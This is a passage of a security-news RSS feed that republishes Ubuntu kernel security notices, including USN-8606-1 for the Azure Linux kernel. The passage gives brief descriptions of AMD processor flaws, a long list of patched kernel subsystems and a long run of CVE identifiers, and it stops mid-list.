  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8606-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:41 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23207, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227,
CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249,
CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276,
CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281,
CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292,
CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300,
CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306,
CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312,
CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318,
CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325,
CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336,
CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363,
CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374,
CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381,
